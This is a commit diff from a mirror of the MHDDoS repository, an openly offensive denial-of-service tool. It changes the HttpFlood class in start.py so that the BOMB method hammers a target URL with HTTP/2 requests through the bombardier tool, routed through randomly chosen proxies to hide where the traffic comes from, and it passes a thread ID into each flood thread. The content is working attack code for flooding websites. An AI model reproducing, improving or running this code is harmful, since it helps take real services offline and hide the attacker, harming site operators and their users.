mirror of https://github.com/MatrixTM/MHDDoS.git
Merge pull request #274 from PXEiYyMH8F/patch-1
Add some info about http status code distribution
This commit is contained in:
commit
3d38bb48b3
46
start.py
46
start.py
|
|
@ -16,7 +16,7 @@ from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, S
|
|||
gethostname, socket)
|
||||
from ssl import CERT_NONE, SSLContext, create_default_context
|
||||
from struct import pack as data_pack
|
||||
from subprocess import run
|
||||
from subprocess import run, PIPE
|
||||
from sys import argv
|
||||
from sys import exit as _exit
|
||||
from threading import Event, Thread
|
||||
|
|
@ -500,6 +500,7 @@ class HttpFlood(Thread):
|
|||
SENT_FLOOD: Any
|
||||
|
||||
def __init__(self,
|
||||
thread_id: int,
|
||||
target: URL,
|
||||
host: str,
|
||||
method: str = "GET",
|
||||
|
|
@ -510,6 +511,7 @@ class HttpFlood(Thread):
|
|||
proxies: Set[Proxy] = None) -> None:
|
||||
Thread.__init__(self, daemon=True)
|
||||
self.SENT_FLOOD = None
|
||||
self._thread_id = thread_id
|
||||
self._synevent = synevent
|
||||
self._rpc = rpc
|
||||
self._method = method
|
||||
|
|
@ -885,19 +887,31 @@ class HttpFlood(Thread):
|
|||
Tools.safe_close(s)
|
||||
|
||||
def BOMB(self):
|
||||
pro = randchoice(self._proxies)
|
||||
assert self._proxies, \
|
||||
'This method requires proxies. ' \
|
||||
'Without proxies you can use github.com/codesenberg/bombardier'
|
||||
|
||||
run([
|
||||
f'{bombardier_path}',
|
||||
f'--connections={self._rpc}',
|
||||
'--http2',
|
||||
'--method=GET',
|
||||
'--no-print',
|
||||
'--timeout=5s',
|
||||
f'--requests={self._rpc}',
|
||||
f'--proxy={pro}',
|
||||
f'{self._target.human_repr()}',
|
||||
])
|
||||
while True:
|
||||
proxy = randchoice(self._proxies)
|
||||
if proxy.type != ProxyType.SOCKS4:
|
||||
break
|
||||
|
||||
res = run(
|
||||
[
|
||||
f'{bombardier_path}',
|
||||
f'--connections={self._rpc}',
|
||||
'--http2',
|
||||
'--method=GET',
|
||||
'--latencies',
|
||||
'--timeout=30s',
|
||||
f'--requests={self._rpc}',
|
||||
f'--proxy={proxy}',
|
||||
f'{self._target.human_repr()}',
|
||||
],
|
||||
stdout=PIPE,
|
||||
)
|
||||
if self._thread_id == 0:
|
||||
print(proxy, res.stdout.decode(), sep='\n')
|
||||
|
||||
def SLOW(self):
|
||||
payload: bytes = self.generate_payload()
|
||||
|
|
@ -1372,9 +1386,9 @@ if __name__ == '__main__':
|
|||
"RPC (Request Pre Connection) is higher than 100")
|
||||
|
||||
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
|
||||
for _ in range(threads):
|
||||
HttpFlood(url, host, method, rpc, event, uagents,
|
||||
referers, proxies).start()
|
||||
for thread_id in range(threads):
|
||||
HttpFlood(thread_id, url, host, method, rpc, event,
|
||||
uagents, referers, proxies).start()
|
||||
|
||||
if method in Methods.LAYER4_METHODS:
|
||||
target = URL(urlraw)
|
||||
|
|
|
|||
Loading…
Reference in New Issue